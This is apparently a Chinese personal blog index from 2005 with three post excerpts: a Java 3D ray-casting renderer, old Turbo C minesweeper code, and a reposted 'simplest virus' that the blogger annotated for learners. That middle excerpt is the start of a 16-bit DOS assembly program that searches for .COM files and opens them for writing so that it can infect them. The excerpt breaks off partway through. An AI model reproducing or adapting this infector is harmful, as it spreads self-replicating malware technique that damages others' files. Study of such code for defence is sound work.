博文
用Java实现3D模型成像(2005-12-16 11:55:00)
摘要: 代码如此的短,被我优化过,所以不很容易看懂。有这个想法源于看图形学时看到的直线的画法,当时我想,用这个方法用来画空间投射线也应该很容易。于是就做了这个基于空间投射线的3D模型成像。
代码里面基本是算法,但是终归要有一个3D模型才能成像,于是我建立了一个3维数组,用来储存空间的点信息。也就是byte[][][] data;然后随便画了几个矩形、几个点,看起来效果还是不错的。(其实class Mod里面基本上都在画这些点和矩形)
【原理】从视点透出201×201的空间投射线,如果和空间中的3D模型相碰撞则返回并记录下点的颜色信息。最后产生一张201×201的2D图形,然后放大到603×603,并显示。
用(E)(D)(S)(F)来控制视点的上下左右移动,用(J)(K)(L)来控制视点的前进后退和复原。
【Model.java】
import java.awt.*;import java.awt.event.*;import java.awt.image.*;import javax.swing.*;
public class Model{ public static void main(String [] args){ MFrame f = new MFrame(); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.setSize(608,628); f.setVisible(true); }}
class MFrame extends JFrame{ MFrame(){  ......
【转载】一个最简单的病毒(2005-12-15 19:05:00)
摘要: 原来有一些错误,改正过来了,另外自己加了一些注解。毕竟实dos年代的16位病毒了,现在作用不大,但是似乎可以被杀毒软件检测出来,呵呵。
如果想学习病毒,不妨从这个开始,里面我自己加了些注解,如果不是很清除,可以和我交流。
VirusLength equ VirusEnd-VirusStartcode segment assume cs:code,ds:code,ss:code org 100hmain proc near InfectedCode db 'M' db 3 dup(90h)VirusStart: call WhereIAmWhereIAm: pop si mov bp,si add si,Original4Bytes-WhereIAm mov di,100h movsw movsw;Change the first 4 bytes. mov si,bp mov ah,4ehLooK4NextTarget: mov dx,offset Target-WhereIAm add dx,si mov cx,0 int 21h;Search for the first target file(*.com) jc error mov ax,3d02h mov dx,9eh int 21h jc error xchg ax,bx mov ah,3fh mov dx,si add dx,Original4Bytes-WhereIAm mov cx,4 int 21h;Read first 4 bytes of t......
一年以前最后一次用TC(2005-12-15 19:00:00)
摘要: 大概一年没有用C语言了吧,一直处于OO之中,用JAVA,又换成MFC。看核心技术,又看设计模式。幸好我有个习惯,写过的东西基本上全部保留下来,于是,可以看看当年的思维。
一年前写的扫雷、面向过程的C,现在看来,有如隔世。
#include<graphics.h>#include<dos.h>#include<conio.h>#include<stdlib.h>
#define Timer 0x1c
typedef enum boolean{False,True}BOOLEAN;
typedef struct box{ int num; int veil;}Box;
Box bx[32][18];int bmx[2]={1,1};int bmy[2]={1,1};
int dead=0;char *msg1="The time you spent is %d";char *msg2="The best score is %d";char buffer[30];
#ifdef __cplusplus#define __CPPARGS ...#else#define __CPPARGS#endif
/*************************************** time functions *******************************/int TCounter=0;
void interrupt ( *oldhandler)(__CPPARGS);
void interrupt newhandler(__CPPARGS){ TCounter++; oldhandler();}void SetTimer(void interrupt(*IntProc)(__CPPARGS)){ oldhandler=getvect(Timer); disable(); setvect(Timer,IntProc); enabl......
